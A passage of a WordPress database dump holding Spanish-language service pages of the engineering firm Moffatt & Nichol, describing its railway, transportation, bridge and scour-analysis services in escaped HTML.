id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-8','','','2012-09-03 09:57:21','2012-09-03 09:57:21','',651,'http://moffattnichol.com/spanish/651-revision-8/',0,'revision','',0),(2659,1,'2012-06-15 05:45:30','2012-06-15 05:45:30','<div class=\"content_faq\"> [anything_slides cat=transportation width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3 id=\"1\">transporte</h3> Habiendo completado proyectos de movimiento de mercancías y de transporte, tanto dentro como más allá del campo tradicional del transporte, la práctica de Moffatt & Nichol reúne los conocimientos de ingeniería civil y estructural de la firma con nuestra singular comprensión de la infraestructura del movimiento de mercancías. Moffatt & Nichol ofrece una gama completa de servicios integrados y proporciona el planeamiento y el diseño para todos los aspectos de calzadas, carreteras, vías férreas y puentes, así como instalaciones intermodales y estructuras relacionadas. Nuestras habilidades técnicas son incrementadas por nuestras capacidades de economía del transporte, que incluyen análisis del financiamiento y de la obtención de fondos, estudios de mercado y pronóstico de la carga terrestre y de contenedores. Aportamos creatividad e innovación a cada misión y nuestra cartera de proyectos presenta tareas complejas y desafiantes que incluyen algunos de los intercambios y rutas de carga más transitados así como los puentes con mayor tráfico en el mundo.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/transportation-services/\">Examinar los servicios de transporte, puentes y ferrocarriles >></a></div>\r\n    &nbsp; <h3 id=\"2\">puentes</h3> Construidos para permitir el transporte por encima de obstáculos físicos, los puentes son un componente básico de todas las redes de transporte que pueden abarcar desde una estructura simple que cruza un riachuelo en su vecindario hasta una estructura representativa utilizada como fondo en anuncios publicitarios. Moffatt & Nichol proporciona capacidades de ingeniería estructural para el planeamiento y el diseño de una amplia gama de puentes. \r\n    \r\n  \r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/roads-bridges-services/\">Examinar los servicios de puentes >></a></div>\r\n    &nbsp; <h3 id=\"3\">ferrocarriles</h3> Los sistemas ferroviarios de carga y pasajeros siguen estando a la vanguardia del desarrollo económico, así como la tendencia hacia el tren suburbano como método más sostenible de transporte. Moffatt & Nichol proporciona un conocimiento técnico especializado en el estudio y diseño en toda la gama del proyecto ferroviario - desde corredores de carga e instalaciones ferroviarias intermodales, hasta corredores de trenes suburbanos y estaciones de pasajeros. Nuestras capacidades relacionadas con ferrocarriles incluyen el planeamiento y la ingeniería para nuevas instalaciones y corredores así como la rehabilitación y modernización de las instalaciones y corredores existentes. La firma ha proporcionado una gama completa de servicios de desarrollo de proyectos ferroviarios que abarcan desde el análisis financiero hasta los servicios de construcción para clientes industriales, comerciales y militares, incluyendo autoridades ferroviarias y de transporte en Europa y América. Esta experiencia da a nuestro personal una amplia perspectiva cuando se trata de anticipar y evitar fallas en la ejecución de proyectos ferroviarios. Nuestras capacidades singularmente especializadas relacionadas con ferrocarriles incluyen la seguridad de pasos a nivel, el análisis de corredores, los impactos del tráfico y la logística de las operaciones.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/railroads-services/\">Examinar los servicios ferroviarios >></a></div>\r\n    &nbsp; <h3 id=\"4\">servicios consultivos comerciales globales</h3> Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y públicos.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/capabilities-and-expertise/\">Examinar los servicios consultivos comerciales globales >></a></div> \r\n  &nbsp;\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">CALIFICACIÓN DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Con más de sesenta años de experiencia, Moffatt &amp; Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Moffatt & Nichol se ha especializado en el planeamiento y diseño de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en Norteamérica, Europa,</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Transporte, puentes y ferrocarriles','','inherit','open','open','','54-revision-4','','','2012-06-15 05:45:30','2012-06-15 05:45:30','',54,'http://moffattnichol.com/spanish/54-revision-4/',0,'revision','',0),(2660,1,'2012-08-29 14:49:15','2012-08-29 14:49:15','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h1>puentes</h1>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n<ul>\r\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n</ul>\r\n<div class=\"clear\"></div>\r\n</div>\r\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n<div class=\"bridges-left\">\r\n<div class=\"divider-line\">Tipos de proyecto</div>\r\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\r\n\r\nRehabilitación de puentes\r\n\r\nEnsanchamiento y reemplazo de puentes\r\n\r\nInstalaciones para nuevos puentes y carreteras\r\n\r\nPuentes en caminos locales\r\n\r\nPasos elevados de autopistas\r\n\r\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\r\n\r\nCarriles guía de tren ligero y estaciones elevadas\r\n\r\nEstructuras de muelles y frentes costeros\r\n\r\nPuentes para peatones y bicicletas\r\n\r\nPuentes en concreto, acero y madera\r\n\r\nPuentes sobre áreas medioambientalmente sensibles\r\n<div class=\"divider-line\">Construcción</div>\r\nEtapas de la construcción y mantenimiento del tráfico\r\n\r\nEstudios de la factibilidad de construcción e Ingeniería del valor\r\n\r\nIngeniería y apoyo de la construcción\r\n\r\nAnálisis de la construcción en función del tiempo\r\n\r\nInspección de la construcción\r\n\r\nPlanos según construcción y conciliación\r\n\r\nRepresentación del diseñador-constructor y del propietario\r\n\r\n</div>\r\n<div class=\"bridges-right\">\r\n<div class=\"divider-line\">Planeamiento</div>\r\nEstudios de factibilidad y planeamiento\r\n\r\nDiseño conceptual\r\n\r\nEstimados de costos\r\n\r\nSelección del tipo de estructura\r\n\r\nEstudios y documentación medioambientales\r\n<div class=\"divider-line\">Diseño</div>\r\nDiseño preliminar y final\r\n\r\nPlanos, especificaciones y estimados\r\n\r\nDiseño antisísmico y modificación\r\n\r\nEstudios hidráulicos y de socavación\r\n\r\nEstudios de colisión de buques\r\n\r\nEstudios de carga de hielo\r\n\r\nDiseño de cimentación profunda\r\n\r\nSocavación de puentes\r\n\r\nAnálisis de la marejada ciclónica\r\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\nInspección por encima/debajo del nivel del agua con certificación NBIS\r\n\r\nMuestreo y prueba de materiales\r\n\r\nModelación de la vida de servicio (Estructuras de concreto)\r\n\r\nServicios de diseño de reparación/rehabilitación\r\n\r\nServicios de la fase de construcción\r\n<div class=\"divider-line\">Otros servicios</div>\r\nEstética de puentes y Soluciones sensibles al contexto\r\n\r\nCapacidad de carga de puentes\r\n\r\nAnálisis avanzado de elementos finitos\r\n\r\nCoordinación y reubicación de equipos de servicios públicos\r\n\r\nDiseño de calzadas y accesos\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"1\">caminos y puentes</h3>\r\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n\r\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\r\n\r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"2\">análisis de socavación</h3>\r\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos 